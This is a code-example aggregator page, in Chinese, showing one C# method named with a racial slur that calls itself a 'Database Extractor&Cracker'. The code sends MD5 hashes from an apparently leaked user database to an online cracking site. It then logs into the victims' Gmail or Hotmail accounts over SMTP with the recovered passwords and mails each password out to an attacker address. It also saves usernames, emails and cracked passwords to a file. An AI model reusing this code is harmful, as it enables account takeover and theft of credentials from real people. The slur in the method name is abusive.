本文整理汇总了C#中HttpRequest.AddParam方法的典型用法代码示例。如果您正苦于以下问题:C# HttpRequest.AddParam方法的具体用法?C# HttpRequest.AddParam怎么用?C# HttpRequest.AddParam使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类HttpRequest
的用法示例。
在下文中一共展示了HttpRequest.AddParam方法的1个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C#代码示例。
示例1: crackSomeNigs
public void crackSomeNigs()
{
Chilkat.Http http = new Chilkat.Http();
bool success;
success = http.UnlockComponent("30277129240");
if (success != true) {
Console.WriteLine(http.LastErrorText);
return;
}
Chilkat.HttpRequest req = new HttpRequest();
StreamWriter SWst;
string time = DateTime.Now.ToString();
SWst = File.AppendText(@"out.txt");
SWst.WriteLine("RECoders.org - Database Extractor&Cracker: "+time);
SWst.WriteLine("\n\n\n");
SWst.Close();
for(int i=0;i<usernames.Count;i++) {
//Setup the post request to md5crack.com
req.UsePost();
req.Path = "/crackmd5.php";
req.AddParam("crackbtn", "Crack that hash baby!");
req.AddParam("term", md5s[i]);
Chilkat.HttpResponse resp = http.SynchronousRequest("md5crack.com",80,false,req);
Match match = Regex.Match(resp.BodyStr, @"(?<=\()(.*?)(?=\))", RegexOptions.IgnoreCase);
string matchstr = match.ToString();
string m = Regex.Replace(matchstr, @"[^\w\[email protected]]", "");
//Print out the details from the database
Console.WriteLine("ID: {0}", i);
Console.WriteLine("Username: {0}", usernames[i]);
Console.WriteLine("Email: {0}", emails[i]);
Console.WriteLine("Gmail: {0}", gmail[i]);
//If the email adress has been flagged as gmail, attempt to mail home email adress to verify
if(gmail[i] == 0) {
Console.WriteLine("Attempting to Email Home - GMAIL");
//string adress = emails[i];
System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage();
System.Net.NetworkCredential cred = new System.Net.NetworkCredential(emails[i], m);
mail.To.Add("[email protected]"); //my test email, change to yours.
mail.Subject = "Ding";
mail.From = new System.Net.Mail.MailAddress(emails[i]);
mail.IsBodyHtml = true;
mail.Body = "Password: "+m+"\nHEH";
System.Net.Mail.SmtpClient smtp = new System.Net.Mail.SmtpClient("smtp.gmail.com");
smtp.UseDefaultCredentials = false;
smtp.EnableSsl = true;
smtp.Credentials = cred;
smtp.Port = 587;
try {
smtp.Send(mail);
Console.WriteLine("Mail Sent.");
} catch {
Console.WriteLine("Failed");
}
}
if(gmail[i] == 2) {
Console.WriteLine("Attempting to Email Home - HOTMAIL");
//string adress = emails[i];
System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage();
System.Net.NetworkCredential cred = new System.Net.NetworkCredential(emails[i], m);
mail.To.Add("[email protected]"); //my test email, change to yours.
mail.Subject = "Ding";
mail.From = new System.Net.Mail.MailAddress(emails[i]);
mail.IsBodyHtml = true;
mail.Body = m;
System.Net.Mail.SmtpClient smtp = new System.Net.Mail.SmtpClient("smtp.live.com");
smtp.UseDefaultCredentials = false;
smtp.EnableSsl = true;
smtp.Credentials = cred;
smtp.Port = 25;
try {
smtp.Send(mail);
Console.WriteLine("Mail Sent.");
} catch {
Console.WriteLine("Failed");
}
}
//Finally return the value of the cracked hash
Console.WriteLine("CRACKED HASH: {0}", m);
Console.WriteLine("\n");
StreamWriter SW;
SW = File.AppendText(@"out.txt");
SW.WriteLine("Database Entry: {0}", i);
SW.WriteLine("Username: {0}",usernames[i]);
SW.WriteLine("Uncracked Hash: {0}",md5s[i]);
SW.WriteLine("Email: {0}",emails[i]);
SW.WriteLine("CRACKED HASH: {0}\n", m);
//.........这里部分代码省略.........